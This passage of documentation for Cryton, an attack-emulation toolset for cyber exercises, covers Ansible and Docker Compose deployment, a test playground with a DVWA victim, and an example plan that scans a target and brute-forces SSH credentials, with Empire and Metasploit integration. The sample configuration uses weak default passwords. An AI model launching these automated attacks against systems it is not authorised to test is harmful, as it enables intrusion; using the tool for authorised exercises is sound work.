toolset is tested and targeted primarily on Debian and Kali Linux. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <ul> <li>Make sure you run Ansible using Python3 (<code>ansible_python_interpreter: /usr/bin/python3</code>). </li> <li>Supposedly there is no need for <code>gather_facts</code>. </li> <li>Run roles using sudo (become). </li> <li>For the best experience specify <code>cryton_COMPONENT_version</code> where COMPONENT is depending on the role (core, cli, worker, modules) and select the latest version (the master branch is not stable). </li> <li>To update the default variables stored in .env files use <code>cryton_COMPONENT_environment</code> where COMPONENT is depending on the role (core, cli, worker). </li> <li>Values for each role can be found in <code>cryton-deploy/roles/ROLE/defaults/main.yml</code>. </li> <li>Once you update cryton_COMPONENT_environment, make sure you've updated all the variables.</li> </ul>"},{"location":"getting-started/ansible/#roles","title":"Roles","text":""},{"location":"getting-started/ansible/#deploy-core","title":"deploy-core","text":"<p>Install prerequisites, dependencies (RabbitMQ, Postgres, and PgBouncer), and Core using Docker Compose. Core's REST API is by default served on port 8000.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-core\ncryton_core_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-core/defaults/main.yml</code>.</p> <p>To create, update, and load the Docker configuration saved in /etc/docker/daemon.json, set <code>update_docker_daemon_configuration: yes</code>, and use <code>docker_daemon_configuration</code> dictionary to create the configuration. Example and default: <pre><code>docker_daemon_configuration:\n mtu: 1442\n</code></pre></p>"},{"location":"getting-started/ansible/#deploy-worker-with-modules","title":"deploy-worker (with modules)","text":"<p>Install prerequisites and Worker with modules using pipx. Start the Worker afterward in the background (you have to check for errors manually in the <code>{{ cryton_worker_output_file }}</code>).</p> <p>To start msfrpcd in the background use <code>start_msfrpcd: yes</code>. Set <code>cryton_cli_runas_user</code> to the correct user for whom will the Worker be installed.</p> <p>Optionally, Worker can be installed in a mode fitting for development purposes. To enable this mode, set <code>development: True</code> variable for Ansible. This will install and run the Worker using poetry.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-worker\ncryton_worker_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-worker/defaults/main.yml</code>.</p> <p>For running the Ansible playbook, community.general module is needed. Install it by <code>ansible-galaxy collection install community.general</code>.</p>"},{"location":"getting-started/ansible/#deploy-cli","title":"deploy-cli","text":"<p>Install prerequisites, dependencies, and CLI in <code>~/.local/bin/cryton-cli</code> using pipx, register it to PATH, and export .env vars into <code>~/.local/cryton-cli/.env</code>.</p> <p>Set <code>cryton_cli_runas_user</code> to the correct user for whom will the Worker be installed.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-cli\ncryton_cli_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-cli/defaults/main.yml</code>.</p>"},{"location":"getting-started/ansible/#register-worker","title":"register-worker","text":"<p>Register Worker in Core using CLI.</p> <p>Specify <code>cryton_worker_name</code>, <code>cryton_worker_description</code>, and <code>cryton_cli_runas_user</code> to the correct user with access to the CLI.</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: register-worker\ncryton_cli_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/register-worker/defaults/main.yml</code>.</p>"},{"location":"getting-started/ansible/#deploy-frontend","title":"deploy-frontend","text":"<p>Install prerequisites and frontend for Cryton Core API using Docker Compose. The frontend is by default served on port 8080.</p> <p>!This role requires the host to have at least 2048 MB RAM and 2 CPU cores (tested with AMD Ryzen 5 5600x) otherwise the Frontend installation might fail.!</p> <p>Override environment variables as specified in the settings. In the Ansible playbook use the following: <pre><code> - role: deploy-frontend\ncryton_frontend_environment:\nVARIABLE_TO_OVERRIDE: new_value\n... </code></pre></p> <p>For all available role variables, check <code>cryton-deploy/roles/deploy-frontend/defaults/main.yml</code>.</p> <p>To create, update, and load the Docker configuration saved in /etc/docker/daemon.json, set <code>update_docker_daemon_configuration: yes</code>, and use <code>docker_daemon_configuration</code> dictionary to create the configuration. Example and default: <pre><code>docker_daemon_configuration:\n mtu: 1442\n</code></pre></p>"},{"location":"getting-started/ansible/#examples","title":"Examples","text":""},{"location":"getting-started/ansible/#deploy-core_1","title":"Deploy Core","text":"<pre><code>- name: Deploy Core\nhosts: c2-server\nbecome: yes\nroles:\n- role: deploy-core\n</code></pre>"},{"location":"getting-started/ansible/#deploy-worker-with-modules_1","title":"Deploy Worker (with modules)","text":"<pre><code>- name: Deploy Worker with modules\nhosts: attacker\nbecome: yes\nroles:\n- role: deploy-worker\ncryton_worker_runas_user: my-user\ncryton_worker_environment:\nCRYTON_WORKER_MODULES_DIR: \"{{ cryton_modules_directory }}/modules\"\nCRYTON_WORKER_RABBIT_HOST: 127.0.0.1\nCRYTON_WORKER_NAME: unique-name\n</code></pre>"},{"location":"getting-started/ansible/#deploy-cli_1","title":"Deploy CLI","text":"<pre><code>- name: Deploy CLI\nhosts: client\nbecome: yes\nroles:\n- role: deploy-cli\ncryton_cli_runas_user: my-user\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\n</code></pre>"},{"location":"getting-started/ansible/#register-worker_1","title":"Register Worker","text":"<pre><code>- name: Register Worker\nhosts: client\nroles:\n- role: register-worker\ncryton_cli_runas_user: my-user\ncryton_worker_name: unique-name\ncryton_worker_description: custom Worker description\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\n</code></pre>"},{"location":"getting-started/ansible/#deploy-cli-and-register-new-worker","title":"Deploy CLI and register new Worker","text":"<pre><code>- name: Deploy CLI and register Worker\nhosts: client\nbecome: yes\nvars:\ncryton_cli_runas_user: my-user\ncryton_cli_environment:\nCRYTON_CLI_API_HOST: 127.0.0.1\nroles:\n- role: deploy-cli\n- role: register-worker\ncryton_worker_name: unique-name\ncryton_worker_description: custom Worker description\n</code></pre>"},{"location":"getting-started/ansible/#deploy-frontend_1","title":"Deploy frontend","text":"<pre><code>- name: Deploy frontend\nhosts: client\nbecome: yes\nroles:\n- role: deploy-frontend\ncryton_frontend_environment:\ncrytonRESTApiHost: 127.0.0.1\n</code></pre>"},{"location":"getting-started/execution-example/","title":"Execution example","text":"<p>Now, we will walk through an example execution. We will follow the workflow specified in the previous guide.</p> <p>Prerequisites</p> <p>It is assumed that you've followed the quick-start guide. If that's not the case, make sure the following requirements are met:</p> <ul> <li>Core is up and running</li> <li>Core's prerequisites are up and running</li> <li>CLI is installed</li> <li>Worker is installed, running, and correctly set up to use the modules</li> <li>Worker's prerequisites are up and running</li> <li>Modules' system requirements are satisfied</li> <li>If CLI and Core are not on the same machine, make sure to update CLI's settings</li> </ul>"},{"location":"getting-started/execution-example/#create-a-plan-template","title":"Create a plan template","text":"<p>To execute our attack plan, we must create its template first \u2013 a description of the actions required to run during attack execution based on tools used during the attack.</p> <p>We will be using a basic example, which can be found here as well as other examples.</p> <p>Download it manually or using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/template.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/template.yml\n</code></pre> <p>It describes a 2 step attack plan. First, it scans the target and checks if port 22 is open. If the port is open, it tries to brute force the credentials.</p> <pre><code>graph LR\n A[Start] --> B[Scan target];\n B --> C{Is port 22 open?};\n C -->|No| E[Finish];\n C -->|Yes| D[Bruteforce credentials];\n D --> E;</code></pre> <p>If we are satisfied with our template, we can upload it using CLI: <pre><code>cryton-cli plan-templates create path/to/template.yml\n</code></pre></p> Example <pre><code>cryton-cli plan-templates create template.yml\n</code></pre> <p>Expected output: <pre><code>Template successfully created! ({'id': 1})\n</code></pre></p> Validate the template first <p>Before we upload the template, we should validate it. However, for our template to be validated correctly, we have to provide an inventory file, which is described here. Once we have it, we can simply run: <pre><code>cryton-cli plans validate template.yml -i inventory.yml\n</code></pre></p> Example <pre><code>cryton-cli plans validate template.yml -i inventory.yml\n</code></pre> <p>Expected output: <pre><code>Plan successfully validated! (<response>)\n</code></pre></p> <p>Don't forget to upload the template afterward.</p>"},{"location":"getting-started/execution-example/#register-the-worker","title":"Register the Worker","text":"<p>To be able to use our Worker, we have to register it. Keep in mind that WORKER_NAME must match the Worker\u2019s <code>CRYTON_WORKER_NAME</code> setting: <pre><code>cryton-cli workers create <WORKER_NAME> -d <WORKER_DESCRIPTION>\n</code></pre></p> Example <pre><code>cryton-cli workers create local_worker -d \"my worker on localhost\"\n</code></pre> <p>Expected output: <pre><code>Worker successfully created! ({'id': 1})\n</code></pre></p> <p>To check if the Worker is running, use the health check: <pre><code>cryton-cli workers health-check <WORKER_ID>\n</code></pre></p> Example <pre><code>cryton-cli workers health-check 1\n</code></pre> <p>Expected output: <pre><code>The Worker successfully checked! (<response>)\n</code></pre></p>"},{"location":"getting-started/execution-example/#create-a-plan-instance","title":"Create a Plan instance","text":"<p>Now we need to create a Plan instance we will use for the execution. Create it using a combination of the previously uploaded template and an inventory file.</p> <p>Download the inventory file manually or using:</p> curlwget <pre><code>curl -O https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/inventory.yml\n</code></pre> <pre><code>wget https://gitlab.ics.muni.cz/cryton/cryton-core/-/raw/stable/2023.1/examples/basic-example/inventory.yml\n</code></pre> <p>It determines the missing variables in the template. More precisely, it states the target and the credentials used for the brute force attack.</p> <p>To create a new Plan instance use: <pre><code>cryton-cli plans create <TEMPLATE_ID> -i path/to/my/inventory.yml\n</code></pre></p> Example <pre><code>cryton-cli plans create 1 -i inventory.yml\n</code></pre> <p>Expected output: <pre><code>Plan Instance successfully created! ({'id': 1})\n</code></pre></p>"},{"location":"getting-started/execution-example/#create-a-run","title":"Create a Run","text":"<p>The last step we have to make is to create a new Run from the previously created Plan instance and Worker(s). To do so, use: <pre><code>cryton-cli runs create <PLAN_INSTANCE_ID> <WORKER_ID1> <WORKER_ID2> <WORKER_ID3> ...\n</code></pre></p> Example <pre><code>cryton-cli runs create 1 1 2 3\n</code></pre> <p>Expected output: <pre><code>Run successfully created! ({'id': 1})\n</code></pre></p>"},{"location":"getting-started/execution-example/#execute-the-run","title":"Execute the Run","text":"<p>It works.. but at what cost?</p> <p>Please, make sure that you are allowed to run the scan and brute force (there shouldn't be any problems doing so on localhost). Otherwise, there may be consequences.</p> <p>Now that everything is prepared, we can execute our Run immediately or schedule it for later.</p> immediatelyschedule it for later <p>To execute the Run immediately use:</p> <pre><code>cryton-cli runs execute <RUN_ID>\n</code></pre> Example <pre><code>cryton-cli runs execute 1\n</code></pre> <p>Expected output: <pre><code>Run successfully executed! (Run 1 was executed.)\n</code></pre></p> <p>Run executions can be scheduled to a specific date and time. By default, the system timezone will be used. To use the UTC timezone, use the <code>--utc-timezone</code> flag. <pre><code>cryton-cli runs schedule <RUN_ID> <DATE> <TIME>\n</code></pre></p> Example <pre><code>cryton-cli runs schedule 1 2020-06-08 10:00:00\n</code></pre> <p>Expected output: <pre><code>Run successfully scheduled! (Run 1 is scheduled for 2020-06-08 10:00:00.)\n</code></pre></p>"},{"location":"getting-started/execution-example/#show-run-information","title":"Show Run information","text":"<p>To see if the executed Run has finished, you can check its state (and other useful information): <pre><code>cryton-cli runs show <RUN_ID>\n</code></pre></p> Example <pre><code>cryton-cli runs show 1\n</code></pre> <p>Expected output: <pre><code>id: 1, schedule_time: None, start_time: 2021-05-24T00:08:45.200025, pause_time: None, finish_time: 2021-05-24T00:09:18.397199, state: RUNNING\n</code></pre></p>"},{"location":"getting-started/execution-example/#get-a-report","title":"Get a report","text":"<p>It is crucial to know the current state of your Run and its results. That is why a report can be generated anytime during the execution: <pre><code>cryton-cli runs report <RUN_ID>\n</code></pre></p> Example <pre><code>cryton-cli runs report 1\n</code></pre> <p>Expected output: <pre><code>Successfully created Run's report! (file saved at: /tmp/report_run_1_2020-06-08-10-15-00-257994_xdQeV)\n</code></pre></p> Read the report directly <p>Reports can be viewed directly in cryton-cli (to quit, press Q): <pre><code>cryton-cli runs report <RUN_ID> --less\n</code></pre></p> Example <pre><code>cryton-cli runs report 1 --less\n</code></pre>"},{"location":"getting-started/playground/","title":"Playground","text":""},{"location":"getting-started/playground/#description","title":"Description","text":"<p>Cryton E2E is a project used for End-To-End testing of the Cryton toolset.</p> <p>It offers a collection of tests and a Vagrant environment for an easy setup/usage.</p> <p>Cryton toolset is tested and targeted primarily on Debian and Kali Linux, however it should be possible to use it everywhere if the requirements are met. Please keep in mind that only the latest version is supported and issues regarding different OS or distributions may not be resolved.</p> <p>Link to the Cryton toolset documentation.</p>"},{"location":"getting-started/playground/#installation-and-setup","title":"Installation and setup","text":"<p>It is recommended to use the Vagrant environment due to its easier setup and usage.</p>"},{"location":"getting-started/playground/#using-vagrant-recommended","title":"Using Vagrant (RECOMMENDED)","text":"<p>This section describes how to quickly build the infrastructure and run the tests.</p> <p>Requirements: - Vagrant - Virtualbox - Ansible</p> <p>Check if the requirements are met using: <pre><code>vagrant --version\nvboxmanage --version\nansible --version\n</code></pre></p> <p>Go to the correct directory, if you haven't already: <pre><code>cd cryton-e2e\n</code></pre></p> <p>Download the Cryton Deploy project. <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-deploy.git\n</code></pre></p> <p>Update the <code>.env</code> file accordingly: <pre><code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE=/usr/bin/cryton-cli\nCRYTON_E2E_DIRECTORY=/opt/cryton-e2e-local\nCRYTON_CLI_API_HOST=192.168.61.11\n</code></pre></p> <p>This can be done quickly using the following: <pre><code>cat > .env<< EOF\nCRYTON_E2E_CRYTON_CLI_EXECUTABLE=/usr/bin/cryton-cli\nCRYTON_E2E_DIRECTORY=/opt/cryton-e2e-local\nCRYTON_E2E_TESTS=all\nCRYTON_E2E_VERBOSE=False\n\nCRYTON_CLI_TIME_ZONE=AUTO\nCRYTON_CLI_API_HOST=192.168.61.11\nCRYTON_CLI_API_PORT=8000\nCRYTON_CLI_API_SSL=False\nCRYTON_CLI_API_ROOT=api/\nEOF\n</code></pre></p> <p>Optionally change the other variables to your needs. More information can be found here.</p> <p>Also, don't forget to update the tools' versions/branches in the <code>config.yml</code> if necessary.</p> <p>And finally set up the testing environment and run the tests: <pre><code>vagrant up\n</code></pre></p> <p>If there is a connection error due to an ssh problem, just shut down the machine with the problem (<code>vagrant halt <machine></code>) and run <code>vagrant up</code> again.</p>"},{"location":"getting-started/playground/#manual-installation-not-recommended","title":"Manual installation (NOT RECOMMENDED)","text":"<p>This segment only explains how to install the Cryton E2E package. To be able to run the tests, you need to install the Cryton CLI, Cryton Core and Cryton Worker packages.</p> <p>It is not necessary to install this tool manually, you can use the tester machine. This can be done using <code>vagrant up tester --provision-with playbook,install-dependencies,setup-e2e-local</code>.</p> <p>Requirements: - Vagrant - Virtualbox - Ansible - Python >=3.8 - pipenv</p> <p>Check if the requirements are met using: <pre><code>vagrant --version\nvboxmanage --version\nansible --version\npipenv --version\npython3 --version\n</code></pre></p> <p>Go to the correct directory, if you haven't already: <pre><code>cd cryton-e2e\n</code></pre></p> <p>If you want to be able to use the Vagrant environment, clone the Cryton Deploy project. <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-deploy.git\n</code></pre></p> <p>It is recommended to use a virtual environment for the installation, we will be using Pipenv. Also, don't forget to check if you are in the correct directory, even after activating the virtual environment using Pipenv. Now we will install the python requirements and run the setup script. <pre><code>pipenv shell\npip install -r requirements.txt\npython setup.py install\n</code></pre></p> <p>For development, all you need to do is use <code>develop</code> instead of <code>install</code>. <pre><code>python setup.py develop\n</code></pre></p> <p>Everything should be set. Check if the installation was successful using: <pre><code>cryton-e2e\n</code></pre></p> <p>You should see a help page. <pre><code>Usage: cryton-e2e [OPTIONS] COMMAND [ARGS]...\n\n A CLI for Cryton E2E.\n\nOptions:\n ...\n</code></pre></p> <p>If there is an error due to missing environment variables, or you want to update them go to the settings section.</p> <p>For more information about setup go to the usage section or for more detailed information about its settings go to the settings section.</p>"},{"location":"getting-started/playground/#usage","title":"Usage","text":"<p>It is recommended to use the Vagrant environment due to easier setup and usage.</p>"},{"location":"getting-started/playground/#using-vagrant-environment","title":"Using Vagrant environment","text":"<p>To run only the tests use: <pre><code>vagrant provision tester --provision-with run-e2e-tests\n</code></pre></p>"},{"location":"getting-started/playground/#using-manual-installation","title":"Using manual installation","text":"<p>First, update the tool settings.</p> <p>To run the tests use: <pre><code>cryton-e2e run-tests\n</code></pre></p>"},{"location":"getting-started/playground/#requirements","title":"Requirements","text":"<ol> <li>Cryton Core must be running and accessible at the IP address specified in the <code>config.yml</code> file.</li> <li>Cryton CLI must be installed on the same system and must be accessible.</li> <li>Cryton Worker must have the <code>./resources/modules</code> folder loaded (<code>CRYTON_WORKER_MODULES_DIR=/path/to/cryton-e2e/resources/modules</code>).</li> <li>Worker's name must be e2e-1 (<code>CRYTON_WORKER_NAME=e2e-1</code>).</li> <li>Worker must be running as a root.</li> <li>The <code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE</code>, <code>CRYTON_E2E_DIRECTORY</code>, and <code>CRYTON_CLI_*</code> variables must be set correctly.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-basic-test","title":"Additional requirements for basic test","text":"<p>None for now.</p>"},{"location":"getting-started/playground/#additional-requirements-for-advanced-test","title":"Additional requirements for advanced test","text":"<ol> <li>Worker must be able to connect to the <code>msfrpcd</code> in order to successfully use MSFListener.</li> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> <li>Empire server must be running on the localhost.</li> <li>Worker has to be able to connect to running Empire server (you have to update Worker's settings).</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-http_trigger-test","title":"Additional requirements for http_trigger test","text":"<ol> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-msf_trigger-test","title":"Additional requirements for msf_trigger test","text":"<ol> <li>Worker must be able to connect to the <code>msfrpcd</code> in order to successfully use MSFListener.</li> <li>Worker must be installed on a machine with the IP address specified in the <code>config.yml</code> file.</li> </ol>"},{"location":"getting-started/playground/#additional-requirements-for-empire-test","title":"Additional requirements for empire test","text":"<ol> <li>Empire server must be running on the localhost.</li> <li>Worker has to be able to connect to running Empire server (you have to update Worker's settings).</li> </ol>"},{"location":"getting-started/playground/#infrastructure","title":"Infrastructure","text":"<p>The infrastructure consists of 4 machines that are used for testing.</p>"},{"location":"getting-started/playground/#tester-machine","title":"Tester machine","text":"<p>The machine contains Cryton CLI and Cryton E2E tools.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up tester\n</code></pre></p>"},{"location":"getting-started/playground/#core-machine","title":"Core machine","text":"<p>The machine contains the Cryton Core tool.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up core\n</code></pre></p>"},{"location":"getting-started/playground/#worker-machine","title":"Worker machine","text":"<p>The machine contains the Cryton Worker tool. Also hosts an empire server and Metasploit framework.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up worker\n</code></pre></p>"},{"location":"getting-started/playground/#victim-machine","title":"Victim machine","text":"<p>Machine hosts DVWA.</p> <p>Base machine is debian 11.</p> <p>To start the machine use: <pre><code>vagrant up victim\n</code></pre></p>"},{"location":"getting-started/playground/#settings","title":"Settings","text":"<p>The tool uses environment variables for its settings. Please update variables for your use case. <pre><code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE=CHANGE_ME\nCRYTON_E2E_DIRECTORY=CHANGE_ME\nCRYTON_E2E_TESTS=all\nCRYTON_E2E_VERBOSE=False\n\nCRYTON_CLI_TIME_ZONE=AUTO\nCRYTON_CLI_API_HOST=127.0.0.1\nCRYTON_CLI_API_PORT=8000\nCRYTON_CLI_API_SSL=False\nCRYTON_CLI_API_ROOT=api/\n</code></pre></p> <p>If you're using Pipenv as your Python virtual environment, re-entering it should be enough to load variables from the .env file, if that is not the case you need to set/export the variables by yourself (For example using this handy oneliner: <code>export $(cat .env | sed 's/#.*//g' | xargs)</code>). To update an environment variable you can use the export command. For example: <code>export CRYTON_E2E_TESTS=all</code>. Some environment variables can be overridden in CLI. Try using <code>cryton-e2e --help</code>.</p> <p>Settings description: - <code>CRYTON_CLI_*</code> - Cryton CLI environment variables' description can be found it the Cryton CLI repository - <code>CRYTON_E2E_CRYTON_CLI_EXECUTABLE</code> - (string) Path to the Cryton CLI executable (<code>/path/to/cryton-cli</code>) - <code>CRYTON_E2E_DIRECTORY</code> - (string) Path to the Cryton E2E directory (<code>/path/to/cryton-e2e</code>) - <code>CRYTON_E2E_TESTS</code> - (list of strings separated by spaces) What tests to run (<code>basic</code>/<code>advanced</code>/<code>empire</code>/<code>http_trigger</code>/<code>msf_trigger</code>/<code>all</code>) (for example <code>basic empire msf_trigger</code>) - <code>CRYTON_E2E_VERBOSE</code> - (string) Show verbose output (<code>false</code> - simple output / <code>true</code> - verbose output)</p>"},{"location":"getting-started/quick-start/","title":"Quick-start","text":"<p>This example will allow you to quickly install the main Cryton tools using Docker Compose. </p> Want more deployment options? <ul> <li>Core</li> <li>Worker</li> <li>Modules</li> <li>CLI</li> <li>Frontend</li> </ul> <p>System requirements</p> <p>Please make sure you are using a system that has at least 2048 MB of RAM and 2 CPU cores, otherwise you might experience stability issues.</p>"},{"location":"getting-started/quick-start/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Git</li> <li>Docker Compose</li> </ul> <p>Recommendations</p> <ul> <li>Docker post-installation steps</li> <li>Production deployment</li> </ul> <p>First, create a new directory: <pre><code>mkdir cryton\ncd cryton\n</code></pre></p> <p>Clone the modules: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-modules.git --branch stable/2023.1\n</code></pre></p> <p>Download the .env file (settings):</p> curlwget <pre><code>curl -O https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/.env\n</code></pre> <pre><code>wget https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/.env\n</code></pre> Show the .env file <pre><code>CRYTON_CORE_RABBIT_HOST=cryton-rabbit\nCRYTON_CORE_RABBIT_PORT=5672\nCRYTON_CORE_RABBIT_USERNAME=cryton\nCRYTON_CORE_RABBIT_PASSWORD=cryton\nCRYTON_CORE_DB_HOST=cryton-pgbouncer\nCRYTON_CORE_DB_PORT=5432\nCRYTON_CORE_DB_NAME=cryton\nCRYTON_CORE_DB_USERNAME=cryton\nCRYTON_CORE_DB_PASSWORD=cryton\nCRYTON_CORE_API_SECRET_KEY=cryton\nCRYTON_CORE_API_USE_STATIC_FILES=true\n\nCRYTON_WORKER_NAME=local_worker\nCRYTON_WORKER_MODULES_DIR=/opt/modules/\nCRYTON_WORKER_MSFRPCD_HOST=127.0.0.1\nCRYTON_WORKER_MSFRPCD_PORT=55553\nCRYTON_WORKER_MSFRPCD_SSL=true\nCRYTON_WORKER_MSFRPCD_USERNAME=cryton\nCRYTON_WORKER_MSFRPCD_PASSWORD=cryton\nCRYTON_WORKER_RABBIT_HOST=cryton-rabbit\nCRYTON_WORKER_RABBIT_USERNAME=cryton\nCRYTON_WORKER_RABBIT_PASSWORD=cryton\nCRYTON_WORKER_EMPIRE_HOST=cryton-empire\nCRYTON_WORKER_EMPIRE_USERNAME=cryton\nCRYTON_WORKER_EMPIRE_PASSWORD=cryton\n\nCRYTON_CLI_API_PORT=80\n</code></pre> <p>Download the Compose configuration:</p> curlwget <pre><code>curl -O https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/docker-compose.yml\n</code></pre> <pre><code>wget https://cryton.gitlab-pages.ics.muni.cz/cryton-documentation/master2023.1/getting-started/docker-compose.yml\n</code></pre> Show the Compose config <pre><code>version: '3.9'\nservices:\ncryton_core:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-core:2023.1\ncontainer_name: cryton-core\nports:\n- \"8000:80\"\nenv_file:\n- .env\ndepends_on:\ncryton_pgbouncer:\ncondition: service_healthy\ncryton_rabbit:\ncondition: service_healthy\n\ncryton_proxy:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-core:proxy-2023.1\ncontainer_name: cryton-proxy\nnetwork_mode: service:cryton_core\ndepends_on:\ncryton_core:\ncondition: service_started\n\ncryton_cli:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-cli:2023.1\ncontainer_name: cryton-cli\nnetwork_mode: service:cryton_core\nenv_file:\n- .env\ndepends_on:\ncryton_core:\ncondition: service_started\ntty: true\n\ncryton_worker:\nrestart: always\nimage: registry.gitlab.ics.muni.cz:443/cryton/cryton-worker:kali-2023.1\ncontainer_name: cryton-worker\nnetwork_mode: host\nenv_file:\n- .env\nvolumes:\n- ./cryton-modules/modules/:${CRYTON_WORKER_MODULES_DIR}\n- cryton_worker_db_data:/var/lib/postgresql/15/main\n\ncryton_empire:\nrestart: always\nimage: bcsecurity/empire:v4.10.0\ncontainer_name: cryton-empire\nexpose:\n- \"1337\"\nenv_file:\n- .env\nstdin_open: true\ncommand: [ \"server\", \"--username\", \"$CRYTON_WORKER_EMPIRE_USERNAME\", \"--password\", \"$CRYTON_WORKER_EMPIRE_PASSWORD\" ]\n\ncryton_db:\nrestart: always\nimage: postgres:13\ncontainer_name: cryton-db\nenv_file:\n- .env\nenvironment:\nPOSTGRES_PASSWORD: $CRYTON_CORE_DB_PASSWORD\nPOSTGRES_USER: $CRYTON_CORE_DB_USERNAME\nPOSTGRES_DB: $CRYTON_CORE_DB_NAME\nvolumes:\n- cryton_core_db_data:/var/lib/postgresql/data\nexpose:\n- \"5432\"\nhealthcheck:\ntest: /usr/bin/pg_isready\ninterval: 20s\ntimeout: 10s\nretries: 5\n\ncryton_pgbouncer:\nrestart: always\nimage: edoburu/pgbouncer:1.18.0\ncontainer_name: cryton-pgbouncer\ndepends_on:\ncryton_db:\ncondition: service_healthy\nenv_file:\n- .env\nenvironment:\nDB_HOST: cryton_db\nDB_USER: $CRYTON_CORE_DB_USERNAME\nDB_NAME: $CRYTON_CORE_DB_NAME\nDB_PASSWORD: $CRYTON_CORE_DB_PASSWORD\nMAX_CLIENT_CONN: 5000\nDEFAULT_POOL_SIZE: 8\nMIN_POOL_SIZE: 8\nPOOL_MODE: transaction\nexpose:\n- \"5432\"\nhealthcheck:\ntest: /usr/bin/pg_isready -h 0.0.0.0 -p 5432\ninterval: 20s\ntimeout: 10s\nretries: 5\n\ncryton_rabbit:\nrestart: always\nimage: rabbitmq:3.11-management\ncontainer_name: cryton-rabbit\nenv_file:\n- .env\nenvironment:\nRABBITMQ_DEFAULT_USER: $CRYTON_CORE_RABBIT_USERNAME\nRABBITMQ_DEFAULT_PASS: $CRYTON_CORE_RABBIT_PASSWORD\nports:\n- \"5672:5672\"\n- \"127.0.0.1:15672:15672\"\nhealthcheck:\ntest: rabbitmqctl eval '\n{ true, rabbit_app_booted_and_running } = { rabbit:is_booted(node()), rabbit_app_booted_and_running },\n{ [], no_alarms } = { rabbit:alarms(), no_alarms },\n[] /= rabbit_networking:active_listeners(),\nrabbitmq_node_is_healthy.\n' || exit 1\ninterval: 20s\ntimeout: 10s\nretries: 5\n\nvolumes:\ncryton_core_db_data:\ncryton_worker_db_data:\n</code></pre> <p>Run the Compose configuration: <pre><code>docker compose up -d\n</code></pre></p>"},{"location":"getting-started/quick-start/#test-the-installation","title":"Test the installation","text":"<p>Now we want to test if the CLI, Worker, and Core are communicating.</p> <p>Start an interactive shell in the cryton-cli container: <pre><code>docker compose exec cryton_cli bash\n</code></pre></p> <p>Create (register) the Worker: <pre><code>cryton-cli workers create local_worker -d \"my local worker for testing\"\n</code></pre></p> <p>Check if the Worker is reachable (use the id from the previous command): <pre><code>cryton-cli workers health-check <id>\n</code></pre></p>"},{"location":"getting-started/workflow/","title":"Workflow","text":"<p>The following is the ideal sequence of steps to use when you are planning an attack and using Cryton to automate it.</p>"},{"location":"getting-started/workflow/#deployment","title":"Deployment","text":"<p>First, you need to prepare an infrastructure for your cyber defense exercise. Deploying the Cryton toolset should be part of it:</p> <ol> <li>Install and set up Core</li> <li>Install CLI and Frontend</li> <li>Install and set up your Worker(s)</li> <li>Make sure it works:<ul> <li>Core is up and running</li> <li>CLI/Frontend can access Core's REST API</li> <li>Worker(s) are up and running</li> <li>Worker(s) are connected to the RabbitMQ server</li> </ul> </li> </ol> <p>Once the Cryton tools are deployed, you can start planning your attack.</p> <p>Tips</p> <ul> <li>CLI and Frontend can be deployed outside the infrastructure since other components don't need access to them</li> <li>Use one worker per team infrastructure</li> </ul> <p>This section can be represented by the quick-start guide.</p>"},{"location":"getting-started/workflow/#attack-planning","title":"Attack planning","text":"<p>Every Run can be described by a simple formula: <pre><code>plan template + inventory = Plan instance\nPlan instance + Worker = Plan execution\nPlan instance + Workers = Run\n</code></pre></p> <p>Which results in the following steps:</p> <ol> <li>Choose or design a plan template</li> <li>Create a Plan instance</li> <li>Register the Worker(s)</li> <li>Create a Run</li> <li>Schedule or execute the Run</li> <li>Get the Run Report</li> </ol> <p>More information about this section can be found in the execution example.</p>"},{"location":"integrated-tools/empire/","title":"Empire","text":"<p>Description of Empire functionalities supported by Cryton.</p> <p>functionalities:</p> <ol> <li>Deploy empire agents through ssh connection or metasploit session</li> <li>Execute shell scripts or Empire modules on active agents</li> 